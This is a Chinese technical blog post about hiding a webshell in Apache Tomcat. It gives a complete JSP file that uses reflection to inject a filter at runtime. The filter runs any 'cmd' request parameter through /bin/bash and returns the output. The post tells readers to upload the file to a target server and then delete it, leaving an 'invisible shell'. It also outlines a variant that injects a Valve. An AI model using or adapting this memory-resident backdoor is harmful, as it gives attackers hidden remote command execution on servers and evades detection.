抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程，找到了两个较为容易实现的方法(肯定还有其它的方法)，这里记录一其中一个。另一个也很类似所以只记录一下思路。
1. 运行时动态插入过滤器
过滤器的基础概念以及作用这里不写了。
Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口，其中有三个重载方法：
- FilterRegistration.Dynamic addFilter(String filterName,String className)
- FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
- FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)
这三个方法使得我们可以在运行时动态地添加过滤器。
Tomcat 对 ServletContext 接口的实现类为：org.apache.catalina.core.ApplicationContextFacade
但是并没有简单到直接调用一下这可以实现，因为 Tomcat 在对这个接口的实现中，是只允许在容器还没有初始化完成的时候调用这几个方法。一旦容器初始化已经结束，调用时就会出现异常：
我看了一下这个 if 之后的语句，并不是太复杂，这使得我们完全可以自己用代码来执行后面的逻辑。写的过程也没有太顺利，我完全复制了后面的逻辑，但是动态插入过滤器却没有生效。所以去重新调试了一遍tomcat 接收处理请求的全过程，发现为请求组装filterChain 是在 StandardWrapperValve 里面进行的：
真正的组装方法位于：
- org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
代码太长不截图了，有兴趣的可以自己去看。
组装完成后开始调用过滤器链。
我将 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 方法内的细节与自己写的插入过滤器的细节做了对比，得出下面这个可以在Tomcat 8 (Tomcat 7 上的话需要小改一下)下实现我想要的目的 Jsp文件。直接看代码吧：
- <%@ page language="java" contentType="text/html; charset=UTF-8"
- pageEncoding="UTF-8"%>
- <%@ page import="java.io.IOException"%>
- <%@ page import="javax.servlet.DispatcherType"%>
- <%@ page import="javax.servlet.Filter"%>
- <%@ page import="javax.servlet.FilterChain"%>
- <%@ page import="javax.servlet.FilterConfig"%>
- <%@ page import="javax.servlet.FilterRegistration"%>
- <%@ page import="javax.servlet.ServletContext"%>
- <%@ page import="javax.servlet.ServletException"%>
- <%@ page import="javax.servlet.ServletRequest"%>
- <%@ page import="javax.servlet.ServletResponse"%>
- <%@ page import="javax.servlet.annotation.WebServlet"%>
- <%@ page import="javax.servlet.http.HttpServlet"%>
- <%@ page import="javax.servlet.http.HttpServletRequest"%>
- <%@ page import="javax.servlet.http.HttpServletResponse"%>
- <%@ page import="org.apache.catalina.core.ApplicationContext"%>
- <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
- <%@ page import="org.apache.catalina.core.StandardContext"%>
- <%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
- <%@ page import="org.apache.catalina.Context"%>
- <%@ page import="java.lang.reflect.*"%>
- <%@ page import="java.util.EnumSet"%>
- <%@ page import="java.util.Map"%>
- <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <title>Insert title here</title>
- </head>
- <body>
- <%
- final String name = "n1ntyfilter";
- ServletContext ctx = request.getSession().getServletContext();
- Field f = ctx.getClass().getDeclaredField("context");
- f.setAccessible(true);
- ApplicationContext appCtx = (ApplicationContext)f.get(ctx);
- f = appCtx.getClass().getDeclaredField("context");
- f.setAccessible(true);
- StandardContext standardCtx = (StandardContext)f.get(appCtx);
- f = standardCtx.getClass().getDeclaredField("filterConfigs");
- f.setAccessible(true);
- Map filterConfigs = (Map)f.get(standardCtx);
- if (filterConfigs.get(name) == null) {
- out.println("inject "+ name);
- Filter filter = new Filter() {
- @Override
- public void init(FilterConfig arg0) throws ServletException {
- // TODO Auto-generated method stub
- }
- @Override
- public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
- throws IOException, ServletException {
- // TODO Auto-generated method stub
- HttpServletRequest req = (HttpServletRequest)arg0;
- if (req.getParameter("cmd") != null) {
- byte[] data = new byte[1024];
- Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
- int len = p.getInputStream().read(data);
- p.destroy();
- arg1.getWriter().write(new String(data, 0, len));
- return;
- }
- arg2.doFilter(arg0, arg1);
- }
- @Override
- public void destroy() {
- // TODO Auto-generated method stub
- }
- };
- FilterDef filterDef = new FilterDef();
- filterDef.setFilterName(name);
- filterDef.setFilterClass(filter.getClass().getName());
- filterDef.setFilter(filter);
- standardCtx.addFilterDef(filterDef);
- FilterMap m = new FilterMap();
- m.setFilterName(filterDef.getFilterName());
- m.setDispatcher(DispatcherType.REQUEST.name());
- m.addURLPattern("/*");
- standardCtx.addFilterMapBefore(m);
- Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
- constructor.setAccessible(true);
- FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
- filterConfigs.put(name, filterConfig);
- out.println("injected");
- }
- %>
- </body>
- </html>
将以上 JSP 文件上传至目标服务器命名为 n1ntyfilter.jsp，访问后如果看到“injected” 字样，说明我们的过滤器已经插入成功，随后可以将此 jsp 文件删掉。随后，任何带有 cmd 参数的请求都会被此过滤器拦下来，并执行 shell 命令，达到“看不见的 shell”的效果。
2. 动态插入 Valve
Valve 是 Tomcat 中的用于对Container 组件(Engine/Host/Context/Wrapper)进行扩展一种机制。通常是多个Valve组装在一起放在Pipeline 里面。Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的。如果你熟悉 Struts2 中的拦截器机制，那么你会很容易理解valve + pipeline 的动作方式。Pipeline 就相当于拦截器链，而valve就相当于拦截器。
Valve 接口定义了如下的 invoke 方法：
- publicvoid invoke(Request request, Response response)
- throws IOException, ServletException;
我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve，在其中对相应的请求进行拦截并执行我们想要的功能，就可以达到与上面Filter 的方式一样的效果。而且 filter 只对当前context 生效，而valve 如果插到最顶层的container 也就是 Engine，则会对 Engine 下的所有的context 生效。
以上两种方式，利用的时候都必须是通过 HTTP 的方式去真正地发起一个请求，因为在这些流程之前，Tomcat会检查接收自socket的前几个字节是不是符合HTTP 协议的要求，虽然被请求的文件可以不存在。如果想利用非HTTP 协议，则需要在tomcat 的Connector 上做手脚，这个复杂度就比以上两种方式要高很多了。
以上两种方式都会在 Tomcat 重启后失效。
原文发布时间为：2017-10-30
本文作者：n1nty
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